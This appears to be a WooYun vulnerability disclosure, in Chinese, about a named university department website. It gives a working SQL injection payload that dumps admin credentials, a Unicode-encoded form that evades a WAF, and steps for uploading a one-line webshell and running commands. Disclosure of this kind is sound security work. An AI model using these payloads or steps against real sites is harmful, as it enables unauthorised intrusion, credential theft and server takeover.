WooYun.org

http://seie.xhu.edu.cn
在西华大学电气信息学院主页逛逛，在首页显示新闻地方的“更多”部份点进去，有一个搜索框，随便输入试了试，会出现服务器内部出错，如果有特殊符号会直接被复位。
如图，使用2%' and '1'='2' union select 1,username,userpass,4,5,6,7,8 from admin where '%'='查询管理员表：

估计是有硬件WAF之类的，经过尝试，使用unicode编码轻松绕过绕过。ACCESS数据库，经过猜表和字段，直接爆管理员和密码HASH，如图，使用unicode编码：%u0032%u0025%u0027%u0020%u0061%u006e%u0064%u0020%u0027%u0031%u0027%u003d%u0027%u0032%u0027%u0020%u0075%u006e%u0069%u006f%u006e%u0020%u0073%u0065%u006c%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u0065%u0072%u006e%u0061%u006d%u0065%u002c%u0075%u0073%u0065%u0072%u0070%u0061%u0073%u0073%u002c%u0034%u002c%u0035%u002c%u0036%u002c%u0037%u002c%u0038%u0020%u0066%u0072%u006f%u006d%u0020%u0061%u0064%u006d%u0069%u006e%u0020%u0077%u0068%u0065%u0072%u0065%u0020%u0027%u0025%u0027%u003d%u0027

解密发现是简单口令。后台地址简单化，很好猜，直接用管理员口令和密码进后台。

后台有编辑和文件上传。虽然有限制，但使用burp毫无压力。上传一句话，菜刀出马，连接进行后台文件管理；在源文件中找到了数据库连接，同时可以执行命令。